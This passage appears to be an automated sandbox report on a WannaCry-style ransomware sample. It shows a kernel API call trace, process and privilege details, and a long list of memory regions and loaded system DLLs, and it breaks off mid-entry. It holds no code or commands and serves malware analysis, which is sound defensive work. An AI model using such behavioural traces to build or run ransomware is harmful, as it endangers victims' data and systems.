ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0126.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.850] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0126.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.850] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0126.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.907] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.907] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.954] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.955] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0126.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.959] IoGetCurrentProcess () returned 0xffffe0000137f900 [0126.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0126.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.035] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0127.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.035] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0127.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.035] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0127.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.036] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0127.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.096] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0127.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.096] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0127.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.096] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0127.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.096] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0127.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.157] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0127.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.157] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013c7e20) [0127.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.157] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0127.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.157] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.158] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0127.158] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.195] IoGetCurrentProcess () returned 0xffffe0000137f900 [0127.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0127.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.290] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0xad733d0000) returned 0x0 [0127.291] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0xad74ba0000) returned 0x0 Process: id = "74" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x5bbc5000" os_pid = "0x9a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "73" os_parent_pid = "0x980" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 8822 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 8823 start_va = 0x61095d0000 end_va = 0x61095effff entry_point = 0x0 region_type = private name = "private_0x00000061095d0000" filename = "" Region: id = 8824 start_va = 0x61095f0000 end_va = 0x61095fefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000061095f0000" filename = "" Region: id = 8825 start_va = 0x6109600000 end_va = 0x61099fffff entry_point = 0x0 region_type = private name = "private_0x0000006109600000" filename = "" Region: id = 8826 start_va = 0x6109a00000 end_va = 0x6109a03fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006109a00000" filename = "" Region: id = 8827 start_va = 0x7ff6ce400000 end_va = 0x7ff6ce422fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce400000" filename = "" Region: id = 8828 start_va = 0x7ff6ce42d000 end_va = 0x7ff6ce42efff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce42d000" filename = "" Region: id = 8829 start_va = 0x7ff6ce42f000 end_va = 0x7ff6ce42ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce42f000" filename = "" Region: id = 8830 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 8831 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8832 start_va = 0x6109a10000 end_va = 0x6109a11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006109a10000" filename = "" Region: id = 8834 start_va = 0x6109a20000 end_va = 0x6109a21fff entry_point = 0x0 region_type = private name = "private_0x0000006109a20000" filename = "" Region: id = 8835 start_va = 0x6109a50000 end_va = 0x6109e4ffff entry_point = 0x0 region_type = private name = "private_0x0000006109a50000" filename = "" Region: id = 8836 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 8837 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 8838 start_va = 0x61095d0000 end_va = 0x61095dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000061095d0000" filename = "" Region: id = 8839 start_va = 0x7ff6ce300000 end_va = 0x7ff6ce3fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce300000" filename = "" Region: id = 8840 start_va = 0x6109e50000 end_va = 0x6109ecdfff entry_point = 0x6109e50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 8841 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 8842 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8843 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 8844 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 8845 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 8846 start_va = 0x61095e0000 end_va = 0x61095e6fff entry_point = 0x0 region_type = private name = "private_0x00000061095e0000" filename = "" Region: id = 8847 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 8848 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 8849 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 8850 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 8851 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8852 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8853 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8854 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 8855 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 8856 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 8857 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8858 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 8859 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 8860 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 8861 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 8862 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 8863 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 8864 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 8865 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 8866 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 8867 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 8868 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 8869 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 8870 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 8871 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 8872 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 8873 start_va = 0x6109ed0000 end_va = 0x610a06ffff entry_point = 0x0 region_type = private name = "private_0x0000006109ed0000" filename = "" Region: id = 8874 start_va = 0x6109a30000 end_va = 0x6109a36fff entry_point = 0x0 region_type = private name = "private_0x0000006109a30000" filename = "" Region: id = 8875 start_va = 0x6109ed0000 end_va = 0x610a057fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006109ed0000" filename = "" Region: id = 8876 start_va = 0x610a060000 end_va = 0x610a06ffff entry_point = 0x0 region_type = private name = "private_0x000000610a060000" filename = "" Region: id = 8877 start_va = 0x610a070000 end_va = 0x610a0a3fff entry_point = 0x610a071030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8878 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8879 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8880 start_va = 0x610a070000 end_va = 0x610a1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610a070000" filename = "" Region: id = 8881 start_va = 0x610a200000 end_va = 0x610b5fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610a200000" filename = "" Region: id = 8882 start_va = 0x6109a40000 end_va = 0x6109a40fff entry_point = 0x0 region_type = private name = "private_0x0000006109a40000" filename = "" Region: id = 8883 start_va = 0x610b600000 end_va = 0x610b600fff entry_point = 0x0 region_type = private name = "private_0x000000610b600000" filename = "" Region: id = 8884 start_va = 0x610b610000 end_va = 0x610b610fff entry_point = 0x610b610000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 8885 start_va = 0x610b620000 end_va = 0x610b621fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610b620000" filename = "" Region: id = 8886 start_va = 0x610b630000 end_va = 0x610b72ffff entry_point = 0x0 region_type = private name = "private_0x000000610b630000" filename = "" Region: id = 8887 start_va = 0x610b630000 end_va = 0x610b6e9fff entry_point = 0x610b65c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8888 start_va = 0x610b720000 end_va = 0x610b72ffff entry_point = 0x0 region_type = private name = "private_0x000000610b720000" filename = "" Region: id = 8889 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 8890 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8891 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 8892 start_va = 0x610b610000 end_va = 0x610b610fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610b610000" filename = "" Region: id = 8893 start_va = 0x610b630000 end_va = 0x610b71ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610b630000" filename = "" Region: id = 8894 start_va = 0x610b610000 end_va = 0x610b613fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610b610000" filename = "" Region: id = 8895 start_va = 0x610b730000 end_va = 0x610b736fff entry_point = 0x0 region_type = private name = "private_0x000000610b730000" filename = "" Region: id = 8896 start_va = 0x610b740000 end_va = 0x610b83ffff entry_point = 0x0 region_type = private name = "private_0x000000610b740000" filename = "" Region: id = 8897 start_va = 0x610b840000 end_va = 0x610b940fff entry_point = 0x610b86fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 8898 start_va = 0x610b840000 end_va = 0x610b840fff entry_point = 0x0 region_type = private name = "private_0x000000610b840000" filename = "" Region: id = 8899 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 8900 start_va = 0x610b850000 end_va = 0x610bb24fff entry_point = 0x610b850000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8901 start_va = 0x610bb30000 end_va = 0x610bb32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610bb30000" filename = "" Region: id = 8902 start_va = 0x610bb30000 end_va = 0x610bb30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610bb30000" filename = "" Region: id = 8903 start_va = 0x610bb40000 end_va = 0x610bb40fff entry_point = 0x0 region_type = private name = "private_0x000000610bb40000" filename = "" Region: id = 8904 start_va = 0x610bb50000 end_va = 0x610c041fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610bb50000" filename = "" Region: id = 8905 start_va = 0x610c050000 end_va = 0x610cebffff entry_point = 0x610c050000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 8906 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8907 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8908 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8909 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8910 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8911 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8912 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8913 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8914 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8915 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8916 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8917 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8918 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8919 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8920 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8921 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8922 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8923 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8924 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8925 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8926 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = 